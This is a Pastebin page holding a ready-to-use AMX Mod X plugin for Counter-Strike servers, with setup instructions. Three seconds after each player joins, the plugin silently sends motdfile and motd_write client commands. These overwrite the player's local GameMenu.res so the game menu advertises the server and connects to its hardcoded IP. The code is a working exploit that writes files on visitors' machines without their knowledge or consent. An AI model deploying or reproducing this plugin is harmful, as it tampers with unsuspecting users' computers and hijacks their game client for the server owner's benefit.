Advertisement
teol

GameMenu changer

Oct 23rd, 2011
706
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 2.31 KB | None | 0 0
  1. /*
  2. Create a file on your server like this:
  3. cstrike/resource/GameMenu.res
  4.  
  5. It doesn't matter what you write in there, it's gonna be overwritten anyway.
  6. It just has to be there or the plugin will fail on clients that don't have the file.
  7.  
  8. Change g_ServerName[] and g_ServerIp[] to the desired values, be sure to write between the " "s.
  9. */
  10.  
  11. #include <amxmodx>
  12.  
  13. #define VERSION "1.3.3.7"
  14.  
  15. new g_ServerName[] = "=(RG)= JailBreak";
  16. new g_ServerIp[] = "95.211.15.74:27015";
  17.  
  18. new szText[1200];
  19.  
  20. public plugin_precache()
  21.     precache_generic("resource/GameMenu.res");
  22.  
  23. public plugin_init()
  24. {
  25.     register_plugin("GameMenu changer", VERSION , "Unknown");
  26.    
  27.     new size = sizeof(szText) - 1;
  28.     format(szText, size, "^"GameMenu^" { ^"1^" { ^"label^" ^"%s^"", g_ServerName);
  29.     format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp);
  30.     format(szText, size, "%s } ^"2^" { ^"label^" ^"^" ^"command^" ^"^" }", szText);
  31.     format(szText, size, "%s ^"3^" { ^"label^" ^"#GameUI_GameMenu_ResumeGame^"", szText);
  32.     format(szText, size, "%s ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" }", szText);
  33.     format(szText, size, "%s ^"4^" { ^"label^" ^"#GameUI_GameMenu_Disconnect^"", szText);
  34.     format(szText, size, "%s ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^"", szText);
  35.     format(szText, size, "%s ^"notsingle^" ^"1^" } ^"5^" { ^"label^" ^"#GameUI_GameMenu_PlayerList^"", szText);
  36.     format(szText, size, "%s ^"command^" ^"OpenPlayerListDialog^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^"", szText);
  37.     format(szText, size, "%s } ^"9^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" }", szText);
  38.     format(szText, size, "%s ^"10^" { ^"label^" ^"#GameUI_GameMenu_NewGame^" ^"command^" ^"OpenCreateMultiplayerGameDialog^"", szText);
  39.     format(szText, size, "%s } ^"11^" { ^"label^" ^"#GameUI_GameMenu_FindServers^" ^"command^" ^"OpenServerBrowser^"", szText);
  40.     format(szText, size, "%s } ^"12^" { ^"label^" ^"#GameUI_GameMenu_Options^" ^"command^" ^"OpenOptionsDialog^"", szText);
  41.     format(szText, size, "%s } ^"13^" { ^"label^" ^"#GameUI_GameMenu_Quit^" ^"command^" ^"Quit^" } }", szText);
  42. }
  43.  
  44. public client_putinserver (id)
  45.     set_task(3.0, "TaskChangeMenu", id);
  46.  
  47. public TaskChangeMenu(id)
  48. {
  49.     client_cmd(id, "motdfile ^"resource/GameMenu.res^"");
  50.     client_cmd(id, "motd_write %s", szText);
  51.     client_cmd(id, "motdfile ^"motd.txt^"");
  52. }
  53.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement